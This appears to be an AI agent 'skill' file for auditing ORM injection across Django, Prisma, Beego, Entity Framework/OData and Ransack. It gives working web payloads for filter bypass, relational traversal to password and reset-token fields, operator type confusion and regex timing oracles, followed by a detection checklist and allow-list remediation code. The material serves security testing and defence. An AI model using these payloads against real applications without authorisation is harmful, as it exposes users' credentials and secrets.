Hacktricks-skills orm-injection-audit

Audit applications for ORM injection vulnerabilities across Django, Prisma, Beego, Entity Framework, and Ransack. Use this skill whenever you need to test for database query manipulation, filter bypass, relational traversal attacks, or data exfiltration through ORM layers. Trigger this skill for any security audit involving user-controlled database queries, API endpoints with filtering, or applications using ORM frameworks with dynamic query construction.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/orm-injection/SKILL.MD
source content

ORM Injection Audit Skill

This skill helps you identify and test for ORM injection vulnerabilities where user input directly influences database query construction, potentially allowing attackers to bypass filters, traverse relationships, and exfiltrate sensitive data.

When to Use This Skill

Use this skill when:

  • Auditing APIs that accept filter/search parameters
  • Reviewing code that passes user input to ORM query methods
  • Testing applications using Django, Prisma, Beego, Entity Framework, or Ransack
  • Investigating potential data exfiltration through database queries
  • Security testing endpoints with dynamic query construction

Core Attack Patterns

1. Direct Filter Control

Django ORM:

# Vulnerable: User controls filter arguments
Article.objects.filter(**request.data)

Prisma:

// Vulnerable: User controls entire query object
const posts = await prisma.article.findMany(req.body.filter)

Beego:

// Vulnerable: User controls filter expression
qs = qs.Filter(filterExpression, filterValue)

2. Relational Traversal

ORMs allow traversing relationships using

__
(Django/Beego) or nested objects (Prisma):

Django/Beego:

{"created_by__user__password__contains": "pass"}

Prisma:

{
  "where": {
    "createdBy": {
      "password": {"startsWith": "pas"}
    }
  }
}

3. Many-to-Many Bypass

Loop back through relationships to bypass filters:

Django:

# Bypass is_secret=False filter
Article.objects.filter(is_secret=False, categories__articles__id=2)

Prisma:

{
  "query": {
    "categories": {
      "some": {
        "articles": {
          "some": {
            "published": false
          }
        }
      }
    }
  }
}

4. Type Confusion (Operator Injection)

Prisma accepts operator objects where primitives expected:

// Instead of: {"resetToken": "abc123"}
// Send: {"resetToken": {"not": "E"}}
// Result: Matches all users whose token is NOT "E"

5. Error/Time-Based Oracles

Use regex or complex queries to create timing differences:

// ReDoS attack - timing reveals if pattern matches
{"password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Testing Methodology

Step 1: Identify Vulnerable Endpoints

Look for:

  • API endpoints accepting
    filter
    ,
    q
    ,
    query
    ,
    search
    parameters
  • Code passing
    request.data
    ,
    req.body
    , or
    params
    directly to ORM methods
  • Dynamic query construction with user-controlled field names
  • Missing input validation on filter parameters

Step 2: Map the Schema

  1. Send basic queries to discover available fields
  2. Test relationship traversal with
    __
    operators (Django/Beego) or nested objects (Prisma)
  3. Identify sensitive fields:
    password
    ,
    token
    ,
    secret
    ,
    api_key
    ,
    tfa_secret

Step 3: Test Filter Bypass

Basic bypass:

{"field__startswith": "test"}

Relationship bypass:

{"related_field__sensitive_field__contains": "value"}

Many-to-many bypass:

{"relation1__relation2__sensitive_field__startswith": "test"}

Step 4: Test Operator Injection

Prisma type confusion:

{"field": {"not": "value"}}
{"field": {"contains": "value"}}
{"field": {"startsWith": "value"}}

URL-encoded (Express extended):

field[not]=value
field[contains]=value

Step 5: Test Time-Based Attacks

Django/Beego regex:

{"field__regex": "^(?=^pattern).*.*.*.*.*.*.*.*!!!!$"}

Prisma OR with large list:

{
  "OR": [
    {"NOT": {"field": "value"}},
    {"field": {"in": ["a", "b", "c", ...1000 items]}}
  ]
}

Step 6: Collation-Aware Testing

Database collations affect string comparison:

  • Case-insensitive (MySQL/MariaDB default): Use
    __regex
    or
    BINARY
  • Case-sensitive (PostgreSQL): Standard operators work
  • Custom collations: Test ordering with
    ge
    /
    lt
    comparisons

Framework-Specific Payloads

Django ORM

// Login bypass
{"username": "admin", "password_startswith": "a"}

// Password leak via relationship
{"created_by__user__password__contains": "pass"}

// Group-based user traversal
{"created_by__user__groups__user__password__startswith": "admi"}

// Permission-based traversal
{"created_by__user__user_permissions__user__password__startswith": "admi"}

// Filter bypass
{"is_secret": false, "categories__articles__id": 2}

// Time-based oracle
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Prisma ORM

// Full include leak
{
  "filter": {
    "include": {"createdBy": true}
  }
}

// Selective field leak
{
  "filter": {
    "select": {
      "createdBy": {"select": {"password": true}}
    }
  }
}

// Where clause control
{
  "where": {
    "createdBy": {
      "password": {"startsWith": "pas"}
    }
  }
}

// Many-to-many bypass
{
  "query": {
    "categories": {
      "some": {
        "articles": {
          "some": {
            "published": false,
            "secretField": {"startsWith": "test"}
          }
        }
      }
    }
  }
}

// Type confusion
{"resetToken": {"not": "E"}}
{"resetToken": {"contains": "argon2"}}

Beego ORM

// Direct filter control
{"filter": "created_by__user__password__icontains=pbkdf"}

// Harbor-style bypass
{"email__password__startswith": "foo"}

// Fuzzy match bypass
{"q": "email__password=~abc"}

Entity Framework / OData

// Comparison oracle
$filter=CreatedBy/TfaSecret ge 'M'
$filter=CreatedBy/TfaSecret lt 'M'

// Navigation property traversal
$filter=CreatedBy/User/Password contains 'pass'

Ransack (Ruby)

// Brute-force reset token
q[user_reset_password_token_start]=0
q[user_reset_password_token_start]=1

// Relationship traversal
q[user_id_eq]=1&user[password_start]=pass

Detection Checklist

  • User input passed directly to ORM filter/query methods
  • No allow-list validation on field names
  • No operator validation (allows
    __
    or nested objects)
  • Sensitive fields exposed in queryable schema
  • Relationship traversal not restricted
  • Response includes pagination metadata (enables counting attacks)
  • Error messages reveal query structure
  • No rate limiting on filter endpoints

Remediation Guidance

Input Validation

# Django: Use allow-list
ALLOWED_FIELDS = ['title', 'author', 'category']
ALLOWED_OPERATORS = ['icontains', 'startswith']

def safe_filter(request):
    filters = {}
    for key, value in request.data.items():
        field, op = key.rsplit('__', 1) if '__' in key else (key, 'exact')
        if field in ALLOWED_FIELDS and op in ALLOWED_OPERATORS:
            filters[key] = value
    return Article.objects.filter(**filters)
// Prisma: Map to allow-listed fields
const ALLOWED_FIELDS = ['title', 'author', 'category'];
const ALLOWED_OPERATORS = ['contains', 'startsWith'];

async function safeQuery(req) {
  const { filter } = req.body;
  const safeFilter = {};
  
  for (const [field, value] of Object.entries(filter)) {
    if (ALLOWED_FIELDS.includes(field)) {
      if (typeof value === 'object') {
        const [op, val] = Object.entries(value)[0];
        if (ALLOWED_OPERATORS.includes(op)) {
          safeFilter[field] = { [op]: val };
        }
      } else {
        safeFilter[field] = { equals: value };
      }
    }
  }
  
  return await prisma.article.findMany({ where: safeFilter });
}

Response Sanitization

  • Remove sensitive fields from query results
  • Use explicit field selection (SELECT only needed columns)
  • Never return passwords, tokens, or secrets in API responses

Schema Hardening

  • Mark sensitive fields as non-queryable
  • Use ORM-specific annotations (
    filter:"false"
    in Beego)
  • Implement per-field access controls

References